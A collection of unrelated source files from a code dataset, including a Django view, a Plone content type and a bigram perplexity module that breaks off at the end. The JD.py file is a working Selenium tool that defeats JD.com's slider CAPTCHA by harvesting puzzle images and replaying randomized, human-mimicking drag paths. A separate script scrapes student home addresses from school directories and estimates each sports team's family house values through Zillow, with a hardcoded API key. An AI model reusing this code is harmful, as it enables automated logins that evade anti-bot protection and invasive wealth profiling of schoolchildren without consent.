__name__ == '__main__':\n main()","sub_path":"standard/030.shutil/shutil_unpack_archive.py","file_name":"shutil_unpack_archive.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"217798891","text":"\r\n#图像处理标准库\r\nfrom PIL import Image \r\n#web测试 \r\nfrom selenium import webdriver\r\n#鼠标操作\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\nfrom selenium.webdriver.chrome.options import Options\r\n#等待时间 产生随机数 \r\nimport time,random,datetime,os,shutil\r\nimport math\r\nfrom functools import reduce\r\nimport operator\r\n\r\n\r\nclass ImageDownloader():\r\n\r\n def __init__(self, browser, min_images):\r\n self.browser = browser\r\n self.img_dir = \"./images/jd/\"\r\n self.classifier = ImageClassifier()\r\n self.min_images = min_images\r\n\r\n def download(self):\r\n \"\"\"\r\n 下载图片并分类合并\r\n \"\"\"\r\n i = 0\r\n while i < self.min_images or self.classifier.need_to_merge > 0:\r\n print('{} need to merge'.format(self.classifier.need_to_merge))\r\n self.browser.find_element_by_class_name('JDJRV-img-refresh').click()\r\n img = self.get_images()\r\n folder = self.classifier.classify(img)\r\n class_folder = self.img_dir + str(folder) + '/'\r\n if not os.path.exists(class_folder):\r\n os.mkdir(class_folder)\r\n shutil.move(img.filename, class_folder)\r\n i += 1\r\n\r\n def get_images(self, find_this_img=\"\"):\r\n \"\"\"\r\n 获取验证码图片\r\n :param find_this_img:\r\n :return:\r\n \"\"\"\r\n time.sleep(0.3)\r\n img = self.browser.find_element_by_class_name('JDJRV-bigimg')\r\n location = img.location\r\n size = img.size\r\n left = location['x']\r\n top = location['y']\r\n right = left + size['width']\r\n bottom = top + size['height']\r\n\r\n time.sleep(0.1)\r\n page_snap_obj = self.get_snap()\r\n image_obj = page_snap_obj.crop((left, top, right, bottom))\r\n\r\n # 图片相似才保存\r\n file_path = self.img_dir + str(time.time()) + '.png'\r\n if find_this_img != \"\":\r\n dog = Image.open(find_this_img)\r\n if self.compare2(dog, image_obj) < 0.6:\r\n image_obj.save(file_path)\r\n else:\r\n image_obj.save(file_path)\r\n return Image.open(file_path)\r\n\r\n def get_snap(self):\r\n \"\"\"\r\n 屏幕截图对象\r\n \"\"\"\r\n self.browser.save_screenshot(self.img_dir + 'full_snap.png')\r\n page_snap_obj = Image.open(self.img_dir + 'full_snap.png')\r\n return page_snap_obj\r\n\r\n def compare2(self, image1, image2):\r\n \"\"\"\r\n :图片相识度简单对比 图片越像返回值越趋近于0,返回 0-1 认为图片非常相似\r\n :param image1: 图片1对象\r\n :param image2: 图片2对象\r\n :return: 返回对比的结果\r\n \"\"\"\r\n\r\n histogram1 = image1.histogram()\r\n histogram2 = image2.histogram()\r\n\r\n differ = math.sqrt(reduce(operator.add, list(map(lambda a,b: (a-b)**2,histogram1, histogram2)))/len(histogram1))\r\n return differ/100\r\n\r\n\r\nclass ImageClassifier():\r\n\r\n def __init__(self):\r\n self.image_merger = list()\r\n self.need_to_merge = 0\r\n\r\n def classify(self, img):\r\n \"\"\"\r\n 对图片进行分组\r\n :param img: 需要分组的图片\r\n :return: 图片被分配的组号\r\n \"\"\"\r\n for merger in self.image_merger:\r\n if self.compare2(img, merger.base_img) < 1:\r\n if not merger.can_merge:\r\n merger.update(img)\r\n if merger.can_merge:\r\n merger.merge()\r\n self.need_to_merge -=1\r\n return self.image_merger.index(merger)\r\n\r\n merger = ImageMerger(img, len(self.image_merger))\r\n self.image_merger.append(merger)\r\n self.need_to_merge += 1\r\n return len(self.image_merger) - 1\r\n\r\n def compare2(self, image1, image2):\r\n \"\"\"\r\n :图片相识度简单对比 图片越像返回值越趋近于0,返回 0-1 认为图片非常相似\r\n :param image1: 图片1对象\r\n :param image2: 图片2对象\r\n :return: 返回对比的结果\r\n \"\"\"\r\n\r\n histogram1 = image1.histogram()\r\n histogram2 = image2.histogram()\r\n\r\n differ = math.sqrt(\r\n reduce(operator.add, list(map(lambda a, b: (a - b) ** 2, histogram1, histogram2))) / len(\r\n histogram1))\r\n return differ / 100\r\n\r\n\r\nclass ImageMerger():\r\n\r\n def __init__(self, base_img, id):\r\n self.border_color_r = 120\r\n self.border_color_g = 120\r\n self.border_color_b = 120\r\n self.border_short_len = 6\r\n self.border_offset = 1\r\n self.border_bulb_height = 8\r\n self.border_square_height = 30\r\n self.down_dir = './images/merge/'\r\n\r\n self.id = id\r\n self.base_img = base_img\r\n border = self.find_border(base_img)\r\n self.down_top = border[1]\r\n self.up_bottom = border[0]\r\n self.top_img = base_img\r\n self.bottom_img = base_img\r\n self.can_merge = False\r\n\r\n def find_border(self, img):\r\n \"\"\"\r\n 获取滑块边界所在的y坐标\r\n \"\"\"\r\n top = -1\r\n bottom = -1\r\n\r\n for y in range(img.size[1]):\r\n continuous = 0\r\n for x in range(self.border_offset, self.border_short_len + self.border_offset):\r\n pix = img.load()[x, y]\r\n if pix[0] == self.border_color_r and pix[1] == self.border_color_g and pix[2] == self.border_color_b:\r\n continuous +=1\r\n if continuous == self.border_short_len:\r\n top = y - self.border_bulb_height\r\n bottom = y + self.border_square_height\r\n break\r\n else:\r\n continuous = 0\r\n if top != -1:\r\n break\r\n return top, bottom\r\n\r\n def update(self, new_img):\r\n \"\"\"\r\n 更新当前分组图片的信息\r\n :param new_img: 用来更新当前分组的图片\r\n :return:\r\n \"\"\"\r\n border = self.find_border(new_img)\r\n if border[0] > self.up_bottom:\r\n self.up_bottom = border[0]\r\n self.top_img = new_img\r\n print('id {} file {} update up_bottom {}'.format(self.id, new_img.filename, self.up_bottom))\r\n elif border[1] < self.down_top:\r\n self.down_top = border[1]\r\n self.bottom_img = new_img\r\n print('id {} file {} update down_top {}'.format(self.id, new_img.filename, self.down_top))\r\n self.can_merge = self.down_top < self.up_bottom\r\n\r\n def merge(self):\r\n \"\"\"\r\n 合并当前分组\r\n :return:\r\n \"\"\"\r\n top = self.top_img\r\n bottom = self.bottom_img\r\n img_temp = top.crop((0, 0, top.width, self.up_bottom))\r\n # img_temp.show()\r\n bottom.paste(img_temp, (0, 0))\r\n bottom.save(self.down_dir + str(self.id) + '.png')\r\n\r\n\r\nclass JD(object):\r\n\r\n def __init__(self, step, is_headless, down_img_count, img_dir=\"./images/jd/\"):\r\n #设置\r\n chrome_options = Options()\r\n # 无头模式启动\r\n if is_headless:\r\n chrome_options.add_argument('--headless')\r\n chrome_options.add_argument(\"--start-maximized\")\r\n # 谷歌文档提到需要加上这个属性来规避bug\r\n chrome_options.add_argument('--disable-gpu')\r\n # 设置屏幕器宽高\r\n chrome_options.add_argument(\"--window-size=1440,750\")\r\n\r\n self.dr = webdriver.Chrome(executable_path=(r\"./chromedriver_win32/chromedriver.exe\"), chrome_options=chrome_options)\r\n self.dr.maximize_window()\r\n self.step = step\r\n self.img_dir = img_dir\r\n self.merge_dir = r\"./images/merge/\"\r\n self.down_img_count = down_img_count\r\n self.downloader = ImageDownloader(self.dr, down_img_count)\r\n\r\n def is_pixel_equal(self, img1, img2, x, y):\r\n \"\"\"\r\n 判断两个像素是否相同\r\n :param image1: 图片1\r\n :param image2: 图片2\r\n :param x: 位置x\r\n :param y: 位置y\r\n :return: 像素是否相同\r\n \"\"\"\r\n # 取两个图片的像素点\r\n pix1 = img1.load()[x, y]\r\n pix2 = img2.load()[x, y]\r\n threshold = 60\r\n if (abs(pix1[0] - pix2[0] < threshold) and abs(pix1[1] - pix2[1] < threshold) and abs(\r\n pix1[2] - pix2[2] < threshold)):\r\n return True\r\n else:\r\n return False\r\n\r\n def get_gap(self, img1, img2):\r\n \"\"\"\r\n 获取缺口偏移量\r\n :param img1: 不带缺口图片\r\n :param img2: 带缺口图片\r\n :return:\r\n \"\"\"\r\n left = 45\r\n for i in range(left, img1.size[0]):\r\n for j in range(img1.size[1]):\r\n if not self.is_pixel_equal(img1, img2, i, j):\r\n left = i\r\n return left\r\n return left\r\n\r\n def get_track7(self, distance):\r\n \"\"\"\r\n 根据偏移量和手动操作模拟计算移动轨迹\r\n :param distance: 偏移量\r\n :return: 移动轨迹\r\n \"\"\"\r\n # 移动轨迹\r\n tracks = []\r\n # 当前位移\r\n current = 0\r\n # 减速阈值\r\n mid = distance * 4 / 5\r\n # 时间间隔\r\n t = 0.2\r\n # 初始速度\r\n v = 0\r\n\r\n while current < distance:\r\n if current < mid:\r\n a = random.uniform(2, 5)\r\n else:\r\n a = -(random.uniform(12.5, 13.5))\r\n v0 = v\r\n v = v0 + a * t\r\n x = v0 * t + 1 / 2 * a * t * t\r\n current += x\r\n\r\n if 0.6 < current - distance < 1:\r\n x = x - 0.53\r\n tracks.append(round(x, 2))\r\n\r\n elif 1 < current - distance < 1.5:\r\n x = x - 1.4\r\n tracks.append(round(x, 2))\r\n elif 1.5 < current - distance < 3:\r\n x = x - 1.8\r\n tracks.append(round(x, 2))\r\n\r\n else:\r\n tracks.append(round(x, 2))\r\n\r\n print(sum(tracks))\r\n return tracks\r\n\r\n def get_track(self, distance):\r\n track = []\r\n current = 0\r\n mid = distance * 7 / 8\r\n t = random.randint(2, 3) / 10\r\n v = 0\r\n while current < distance:\r\n if current < mid:\r\n a = 2\r\n else:\r\n a = -3\r\n v0 = v\r\n v = v0 + a * t\r\n move = v0 * t + 1 / 2 * a * t * t\r\n current += move\r\n track.append(round(move))\r\n return track\r\n\r\n def autologin(self, url, username, password):\r\n \"\"\"\r\n 自动登录\r\n :param image1: 图片1\r\n :param image2: 图片2\r\n :param x: 位置x\r\n :param y: 位置y\r\n :return: 像素是否相同\r\n \"\"\" \r\n print('开始时间',datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f'))\r\n self.dr.get(url)\r\n self.dr.implicitly_wait(4)\r\n\r\n lotab=self.dr.find_elements_by_class_name(\"login-tab-r\")\r\n lotab[0].click()\r\n time.sleep(1)\r\n name=self.dr.find_element_by_id(\"loginname\")\r\n name.send_keys(username)\r\n time.sleep(1)\r\n pwd=self.dr.find_element_by_id(\"nloginpwd\")\r\n pwd.send_keys(password)\r\n time.sleep(1.3)\r\n logbtn=self.dr.find_element_by_id(\"loginsubmit\")\r\n logbtn.click()\r\n\r\n if self.step == 1:\r\n self.downloader.download()\r\n elif self.step == 3:\r\n slide=self.dr.find_element_by_class_name(\"JDJRV-suspend-slide\")\r\n if slide:\r\n print(\"已有素材,开始登录:\")\r\n if slide:\r\n for i in range(50):\r\n self.do_login()\r\n time.sleep(1.7)\r\n title=self.dr.title\r\n if title==\"京东-欢迎登录\":\r\n continue\r\n else:\r\n print(\"登录成功:\"+title)\r\n break\r\n else:\r\n time.sleep(1.2)\r\n logbtn.click()\r\n \r\n print('结束时间',datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f'))\r\n pass\r\n \r\n def do_login(self):\r\n current_img = self.downloader.get_images()\r\n current_img.save(self.img_dir + 'current.png')\r\n files = os.listdir(self.merge_dir)\r\n simi_dict = dict()\r\n\r\n for f in files:\r\n temp_img = Image.open(self.merge_dir + f)\r\n simi_val = self.downloader.compare2(temp_img, current_img)\r\n simi_dict[f] = simi_val\r\n\r\n mini = min(simi_dict, key=simi_dict.get)\r\n image1 = Image.open(self.merge_dir + mini)\r\n gap = self.get_gap(image1, current_img)\r\n print(gap)\r\n\r\n # track = self.get_track7(gap + 20.85)\r\n # self.dragging(track)\r\n track = self.get_track(gap + 4)\r\n self.sliding(track)\r\n pass\r\n\r\n def sliding(self, track):\r\n button = self.dr.find_element_by_class_name('JDJRV-slide-btn')\r\n time.sleep(2)\r\n ActionChains(self.dr).click_and_hold(button).perform()\r\n time.sleep(0.2)\r\n # 根据轨迹拖拽圆球\r\n for track in track:\r\n ActionChains(self.dr).move_by_offset(xoffset=track, yoffset=0).perform()\r\n # 模拟人工滑动超过缺口位置返回至缺口的情况,数据来源于人工滑动轨迹,同时还加入了随机数,都是为了更贴近人工滑动轨迹\r\n imitate = ActionChains(self.dr).move_by_offset(xoffset=-1, yoffset=0)\r\n time.sleep(0.015)\r\n imitate.perform()\r\n time.sleep(random.randint(6, 10) / 10)\r\n imitate.perform()\r\n time.sleep(0.04)\r\n imitate.perform()\r\n time.sleep(0.012)\r\n imitate.perform()\r\n time.sleep(0.019)\r\n imitate.perform()\r\n time.sleep(0.033)\r\n ActionChains(self.dr).move_by_offset(xoffset=1, yoffset=0).perform()\r\n # 放开圆球\r\n ActionChains(self.dr).pause(random.randint(6, 14) / 10).release(button).perform()\r\n time.sleep(random.random() * 5 + 0.5)\r\n\r\n def dragging(self, tracks):\r\n # 按照行动轨迹先正向滑动,后反滑动\r\n button = self.dr.find_element_by_class_name('JDJRV-slide-btn')\r\n ActionChains(self.dr).click_and_hold(button).perform()\r\n tracks_backs = [-3, -3, -2, -2, -2, -2, -2, -1, -1, -1] # -20\r\n\r\n for track in tracks:\r\n ActionChains(self.dr).move_by_offset(xoffset=track, yoffset=0).perform()\r\n\r\n time.sleep(0.18)\r\n\r\n ActionChains(self.dr).move_by_offset(xoffset=-3, yoffset=0).perform()\r\n ActionChains(self.dr).move_by_offset(xoffset=4, yoffset=0).perform()\r\n\r\n time.sleep(0.7)\r\n ActionChains(self.dr).release().perform()\r\n pass\r\n \r\n\r\n#参数1:1=下载素材并合并素材,3=开始登录\r\n#参数2���是否启用chrome headless 模式、\r\n# 参数3:登录滑块素材下载个数\r\njd = JD(3, False, 90)\r\njd.autologin(\"https://passport.jd.com/new/login.aspx\",\"user\",\"passwd\")\r\n","sub_path":"JD.py","file_name":"JD.py","file_ext":"py","file_size_in_byte":15216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"557185189","text":"from django.shortcuts import render\nfrom blog.forms import CreatePostForm\nfrom blog.models import BlogModel\nfrom django.http import HttpResponseRedirect\n\ndef index(request):\n val = BlogModel.objects.order_by('title')\n context = {'key':val}\n return render(request,'blog/index.html',context)\n\ndef createPostView(request):\n form = CreatePostForm()\n if request.method == 'POST':\n form = CreatePostForm(request.POST)\n if form.is_valid():\n form.save(commit=True)\n return HttpResponseRedirect('/')\n else:\n print('Error')\n index(request)\n return render(request,'blog/create.html',{'key':form})\n","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"141157815","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\n\"\"\" \r\nLevel 2. Weekly Challenge 2: Recursive Fuctions\r\n\r\nYou were just given the task of discovering the devices of a mysterious \r\nnetwork topology, and the connections between them.\r\n\r\n\"\"\"\r\n\r\n__author__ = \"Pam Martínez\"\r\n__contact__ = \"pamemart@cisco.com\"\r\n__copyright__ = \"Copyright 2021, Cisco Systems\"\r\n__credits__ = [\"MXC Programming Club, Luis Arturo Pérez\"]\r\n__date__ = \"2021/03/07\"\r\n__deprecated__ = False\r\n__email__ = \"pamemart@cisco.com\"\r\n__maintainer__ = \"Pam Martínez\"\r\n__status__ = \"Development\"\r\n__version__ = \"0.0.1\"\r\n\r\n\r\nimport datetime\r\nfrom dateutil import parser\r\n\r\ndef pull_data():\r\n all_presidents = []\r\n\r\n with open(\"presidents.txt\") as PRES:\r\n for rec in PRES:\r\n # Data sctructure: \r\n # President:Last_Name:First_Name:Birth_day:Death_day:Birth_Place:\r\n # Birth_State:Start_Date:End_Date:Party\r\n _, last_name, first_name, _, _, _, _, start_date, end_date, _ = rec.split(\":\")\r\n\r\n start_date = parser.parse(start_date)\r\n if end_date == 'NONE':\r\n end_date = datetime.datetime.now()\r\n else:\r\n end_date = parser.parse(end_date)\r\n \r\n deltatime = end_date - start_date\r\n full_name = '{} {}'.format(first_name, last_name)\r\n\r\n all_presidents.append((deltatime, full_name))\r\n \r\n return all_presidents\r\n\r\n\r\ndef main():\r\n all_presidents = pull_data()\r\n\r\n for deltatime, name in reversed(sorted(all_presidents)):\r\n print(name, \" presided \", int(deltatime.days/365), 'years', int(deltatime.days%365/30), 'months')\r\n\r\n \r\nif __name__ == \"__main__\":\r\n main()","sub_path":"WeeklyChallenge_Week03_pamemart.py","file_name":"WeeklyChallenge_Week03_pamemart.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"475351860","text":"import pandas as pd\nimport urllib.request\nimport urllib.error\nimport urllib.parse\nimport pprint\nimport urllib3\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn\nfrom scipy import stats\n#feed in text information, parse into format that can then be looked up as a zpid\nsection_index = 0\n#0 - All School\n#1 - Upper School\n#2 - Middle School\n#3 - Lower School\n#4 - Class 4\n#5 - Class 3\n#6 - Class 2\n#7 - Class 1\ndef choose_body(school_index):\n school_file = open('groups/all_school.txt', 'r')\n school_file.close()\n if(school_index == 0):\n school_file = open('groups/all_school.txt','r')\n elif(school_index == 1):\n school_file = open('groups/upper_school.txt','r')\n elif(school_index == 2):\n school_file = open('groups/middle_school.txt','r')\n elif(school_index == 3):\n school_file = open('groups/lower_school.txt','r')\n elif(school_index == 4):\n school_file = open('groups/class_4.txt', 'r')\n elif(school_index == 5):\n school_file = open('groups/class_3.txt', 'r')\n elif(school_index == 6):\n school_file = open('groups/class_2.txt', 'r')\n elif(school_index == 7):\n school_file = open('groups/class_1.txt', 'r')\n return(school_file)\ndef choose_value(school_index, read=False):\n value_file = open('groups/values.txt','r')\n value_file.close()\n if read: \n if(school_index == 0):\n value_file = open('groups/values.txt','r')\n elif(school_index == 1):\n value_file = open('groups/upper_values.txt','r')\n elif(school_index == 2):\n value_file = open('groups/middle_values.txt','r')\n elif(school_index == 3):\n value_file = open('groups/lower_values.txt','r')\n elif(school_index == 4):\n value_file = open('groups/class_4_values.txt', 'r')\n elif(school_index == 5):\n value_file = open('groups/class_3_values.txt', 'r')\n elif(school_index == 6):\n value_file = open('groups/class_2_values.txt', 'r')\n elif(school_index == 7):\n value_file = open('groups/class_1_values.txt', 'r')\n else:\n if(school_index == 0):\n value_file = open('groups/values.txt','w')\n elif(school_index == 1):\n value_file = open('groups/upper_values.txt','w')\n elif(school_index == 2):\n value_file = open('groups/middle_values.txt','w')\n elif(school_index == 3):\n value_file = open('groups/lower_values.txt','w')\n elif(school_index == 4):\n value_file = open('groups/class_4_values.txt', 'w')\n elif(school_index == 5):\n value_file = open('groups/class_3_values.txt', 'w')\n elif(school_index == 6):\n value_file = open('groups/class_2_values.txt', 'w')\n elif(school_index == 7):\n value_file = open('groups/class_1_values.txt', 'w')\n return(value_file)\nschool_file = choose_body(section_index)\nstudents = school_file.read()\nschool_file.close()\nalone = students.split(\"\\ny\\n\")\n\n#print(alone[58])\n#print(alone)\npull_data = False\naddress = []\nfor item in alone:\n lines = item.split(\"\\n\")\n for j in range(0,len(lines)):\n if(lines[j] != ''):\n if(lines[j][0].isdigit()):\n output = [lines[j],lines[j+1]]\n address.append(output)\n#print(address)\n#perform zillow lookup for each number/city combo in address\n\nbvlax = open(\"groups/BHockey.txt\",'r')\ngsoccer = open(\"groups/VGSoccer.txt\" , 'r')\nbsoccer = open(\"groups/VBSoccer.txt\", 'r')\nglax = open(\"groups/VGLax.txt\", 'r')\nbbasketball = open(\"groups/BVBasketball.txt\",'r')\nghockey = open(\"groups/VGHockey.txt\", 'r')\ngbasketball = open(\"groups/GVBasketball.txt\", 'r')\nbhockey = open(\"groups/BHockey.txt\", 'r')\n\ndef searchByTeam(roster):\n roster_addresses = []\n team = roster.read()\n print(team.split('\\n'))\n names = team.split(\"\\n\")\n team_addresses = []\n #print(names)\n for item in team.split('\\n'):\n direct = list(filter(lambda x: item in x, alone))\n print(direct)\n team_addresses.extend(direct)\n #print(team_addresses)\n for item in team_addresses:\n #print(item)\n pass\n #print(team_addresses) \n '''\n for item in team.split('\\n'):\n print(item)\n if any(item in s for s in alone):\n team_addresses.append(s)\n for entry in alone:\n print(entry)\n if item in entry:\n #print(item + entry[1])\n team_addresses.append(entry)\n '''\n for item in team_addresses:\n lines = item.split(\"\\n\")\n #print(lines)\n for j in range(0,len(lines)):\n if(lines[j] != ''):\n if(lines[j][0].isdigit()):\n output = [lines[j],lines[j+1]]\n roster_addresses.append(output)\n \n return roster_addresses\nbvlaxhouse = searchByTeam(bvlax)\ngsoccerhouse = searchByTeam(gsoccer)\nbsoccerhouse = searchByTeam(bsoccer)\nglaxhouse = searchByTeam(glax)\nbbasketballhouse = searchByTeam(bbasketball)\nghockeyhouse = searchByTeam(ghockey)\ngbasketballhouse = searchByTeam(gbasketball)\nbhockeyhouse = searchByTeam(bhockey)\nteamhouses = [bvlaxhouse,gsoccerhouse,bsoccerhouse,glaxhouse,bbasketballhouse,ghockeyhouse,gbasketballhouse,bhockeyhouse]\nprint(len(searchByTeam(bvlax)))\n\nzillow_data = \"X1-ZWz18slaw8c3kb_ako3m\"\nrequest = \"http://www.zillow.com/webservice/GetSearchResults.htm?\"\nvalues = []\ndef lookup(zillow_data, address, cityzip):\n f = {'zws-id' : zillow_data, 'address':address,'citystatezip':cityzip}\n sample = request + urllib.parse.urlencode(f)\n #print(sample)\n with urllib.request.urlopen(sample) as response:\n #pprint.pprint(response.read())\n reply = response.read()\n decoded_reply = reply.decode('ascii')\n #print(decoded_reply)\n #print(reply)\n #p = etree.fromstring(response)\n #values = xp.xpath('//amount/text()')\n str1 = ''\n str2 = ''\n start = decoded_reply.find(str1)\n start += len(str1)\n end = decoded_reply.find(str2)\n #print(start, end)\n if(start != -1 and end != -1 and start != end):\n return(int(decoded_reply[start:end]))\n\nvalue_file = choose_value(section_index, True)\ncontents = value_file.read()\nnew_values = contents.split(\"\\n\")\nif contents == '':\n pull_data = True\n value_file.close()\nif(pull_data == False):\n for item in new_values:\n if item != 'None' and item != '':\n values.append(int(item))\n #print(values)\n #print(np.mean(values))\n #print(np.std(values))\n #print(np.min(values))\n #print(np.max(values))\n #print(np.median(values))\n ##plt.show()\nelse:\n value_file = choose_value(section_index)\n for pair in address:\n price = lookup(zillow_data,pair[0],pair[1])\n values.append(price)\n value_file.write(str(price)+ \"\\n\")\n value_file.close()\n\nfor i in range(8):\n value_file = choose_value(section_index, True)\n contents = value_file.read()\n new_values = contents.split(\"\\n\")\n temp = []\n for item in new_values:\n if item != 'None' and item != '':\n temp.append(int(item))\n #plt.boxplot(temp)\n#plt.tight_layout()\ntemporary = []\nprint(len(bvlaxhouse))\n'''\nfor item in bvlaxhouse:\n print(\"item 0 : \" + item[0])\n print(\"item 1 : \" + item[1])\n term = lookup(zillow_data, item[0],item[1])\n if term is not None:\n temporary.append(int(term))\n #print(term)\n'''\nteam_values = []\nwritten = False\nif(written == False):\n for team in teamhouses:\n entry = []\n for item in team:\n term = lookup(zillow_data, item[0], item[1])\n if term is not None:\n entry.append(int(term))\n team_values.append(entry)\n team_value_file = open(\"groups/team_values.txt\", 'w')\n for item in team_values:\n for index in item:\n team_value_file.write(str(item) + ', ')\n team_value_file.write('\\n')\n team_value_file.close()\nelse:\n team_value_file = open(\"groups/team_values.txt\", 'r')\n #print(team_value_file.read())\n \n '''bleh = team_value_file.read().split('\\n')\n for item in bleh:\n garbage = item[1:len(item)-1].split(',')\n temp_entry = []\n for item in garbage:\n temp_entry.append(item)\n team_values.append(temp_entry)\n '''\n print(team_value_file.read())\n team_value_file.close()\n\n'''\nprint(\"Mean house values: \" + str(np.mean(temporary)))\nprint(\"Standard Deviation: \" + str(np.std(temporary)))\nprint(\"Sample Size: \" + str(len(temporary)))\n'''\n\nprint(team_values)\n#print(np.mean(values))\n'''\nfig = plt.figure(1, figsize=(9,6))\nax = fig.add_subplot(111)\nbp = ax.boxplot(team_values)\nfig.savefig('fig1.png', bbbox_inches='tight')\n'''\npercentiles = []\nfor item in team_values:\n p = stats.percentileofscore(values, np.mean(item))\n percentiles.append(p)\nprint(percentiles)\nprint(stats.percentileofscore(values,2298384))\nteam_values.append(values)\nmpl_fig = plt.figure()\nax = mpl_fig.add_subplot(111)\nax.boxplot(team_values)\nax.set_xticklabels(['BVLax', 'GVSoccer', 'BVSoccer', 'GVLax', 'BVBall', 'GVHockey', 'GVBall','BVHockey', 'Upper School'])\n\n\nprint(\"Mean \" + str(np.mean(values)))\nprint(\"SD \" + str(np.std(values)))\nprint(\"N: \" + str(len(values)))\nplt.show()\n","sub_path":"mestimate.py","file_name":"mestimate.py","file_ext":"py","file_size_in_byte":9350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"203863584","text":"from zope.interface import implements\n\nfrom Acquisition import aq_inner, aq_parent\nfrom AccessControl import ClassSecurityInfo\n\nfrom Products.CMFCore.utils import getToolByName\n\nfrom Products.Archetypes.atapi import *\n\nfrom Products.membrane.interfaces import IPropertiesProvider\n\nfrom Products.borg.interfaces import IEmployeeLocator\nfrom Products.borg.interfaces import IValidRolesProvider\n\nfrom Products.borg.config import INVALID_ROLES\nfrom Products.borg import permissions\n\nfrom zopen.plone.org.interfaces import ITeamContent\nfrom zopen.plone.org.config import PROJECTNAME\n\n\nTeamSchema = BaseSchema.copy() + Schema((\n\n # Can't use 'roles' because 'validate_roles' exists :-(\n LinesField('roles_',\n accessor='getRoles',\n mutator='setRoles',\n edit_accessor='getRawRoles',\n languageIndependent=True,\n vocabulary='getRoleSet',\n multiValued=1,\n write_permission=permissions.ManageUsers,\n widget=MultiSelectionWidget(\n label=u'Roles',\n description=u\"The roles all employees in this team will have\",\n ),\n ),\n\n ReferenceField('members',\n relationship='participatesInTeam',\n allowed_types=('Person',),\n multiValued=1,\n languageIndependent=True,\n widget=ReferenceWidget(\n label=u'Members',\n description=u\"Members in this team\",\n ),\n ),\n\n ))\n\nTeamSchema['title'].user_property = True\nTeamSchema['description'].user_property = True\n\nclass Team(BaseContent):\n \"\"\"A borg team.\n \n team is collection of members.\n \"\"\"\n \n implements(ITeamContent, IPropertiesProvider)\n \n security = ClassSecurityInfo()\n \n # Note: ExtensibleSchemaSupport means this may get expanded.\n schema = TeamSchema\n _at_rename_after_creation = True\n\n #\n # Vocabulary methods\n #\n \n security.declarePrivate('getRoleSet')\n def getRoleSet(self):\n \"\"\"Get the roles vocabulary to use\n \"\"\"\n provider = IValidRolesProvider(self)\n return provider.availableRoles\n\n def setMembers(self, value):\n self.getField('members').set(self, value)\n\n # reset teamsfolder too\n self.aq_parent.recaculateMembers()\n \nregisterType(Team, PROJECTNAME)\n\n","sub_path":"zopen.plone.org/src/zopen/plone/org/content/team.py","file_name":"team.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"550580254","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#Shaan Sheikh\n#CSE 390\n\nimport sys\nimport csv\nimport math\n\ndef tokenize( StrIn):\n\treturn [sentence.strip().split(\" \") for sentence in filter(bool, \" \".join(StrIn.split()).split(\".\"))]\n\ndef perplexityMLE(LM,testcorpus):\n\ttotal = 0\n\tz = 0\n\tfor sentence in testcorpus:\n\t\tbigrams = [(\"\",sentence[0])] + zip(sentence,sentence[1:]+[\"\"])\n\t\tfor bigram in bigrams:\n\t\t\tz = z+1\n\t\t\t[first, second] = bigram\n\t\t\tif LM.MLE_conditional(first,second) > 0:\n\t\t\t\ttotal = total + math.log(LM.MLE_conditional(first,second),2)\n\t\t\telse:\n\t\t\t\treturn float('inf')\n\n\n\tH = 0 - total/z\n\treturn 2**H\n\ndef perplexityLAPLACE(LM,testcorpus):\n\ttotal = 0\n\tz = 0\n\tfor sentence in testcorpus:\n\t\tbigrams = [(\"\",sentence[0])] + zip(sentence,sentence[1:]+[\"\"])\n\t\tfor bigram in bigrams:\n\t\t\tz = z+1\n\t\t\t[first, second] = bigram\n\t\t\ttotal = total + math.log(LM.Laplace_conditional(first,second),2)\n\n\tH = 0 - total/z\n\treturn 2**H\n\ndef perplexityKAT(LM,testcorpus):\n\ttotal = 0\n\tz = 0\n\titeration = 0.0\n\tnumiters = len(testcorpus)\n\tblocksprinted = 0\n\tsys.stdout.write(\"[%s]\" % (\" \" * 20))\n\tsys.stdout.flush()\n\tsys.stdout.write(\"\\b\" * (20+1))\n\tfor sentence in testcorpus:\n\t\tbigrams = [(\"\",sentence[0])] + zip(sentence,sentence[1:]+[\"\"])\n\t\tif int(iteration/numiters) > blocksprinted:\n\t\t\tsys.stdout.write(\"█\")\n\t\t\tsys.stdout.flush()\n\t\t\tblocksprinted = blocksprinted + 1\n\t\titeration = iteration + 20\n\t\tfor bigram in bigrams:\n\t\t\tz = z+1\n\t\t\t\n\t\t\t[first, second] = bigram\n\t\t\ttotal = total + math.log(LM.KatzBackoff_conditional(first,second),2)\n\tsys.stdout.write(\"█\\n\")\n\tsys.stdout.flush()\n\tH = 0 - total/z\n\treturn 2**H\n\ndef perplexityUNIGRAM(LM,testcorpus):\n\ttotal = 0\n\tz = 0\n\tfor sentence in testcorpus:\n\t\tfor token in sentence:\n\t\t\tz = z+1\n\t\t\ttotal = total + math.log(LM.AD_unigram(token),2)\n\n\tH = 0 - total/z\n\treturn 2**H\n\n\n\nclass LanguageModel:\n\tbigrams = {}\n\ttokens = {}\n\ttotalwords = -1\n\n\tdef __init__(self,sentences):\n\t\tfor sentence in sentences:\n\n\t\t\tbis = [(\"\",sentence[0])] + zip(sentence,sentence[1:]+[\"\"])\n\t\t\tfor bigram in bis:\n\t\t\t\tif bigram[0] in self.tokens:\n\t\t\t\t\tself.tokens[bigram[0]] = self.tokens[bigram[0]] + 1\n\t\t\t\telse:\n\t\t\t\t\tself.tokens[bigram[0]] = 1\n\t\t\t\tif bigram in self.bigrams:\n\t\t\t\t\tself.bigrams[bigram] = 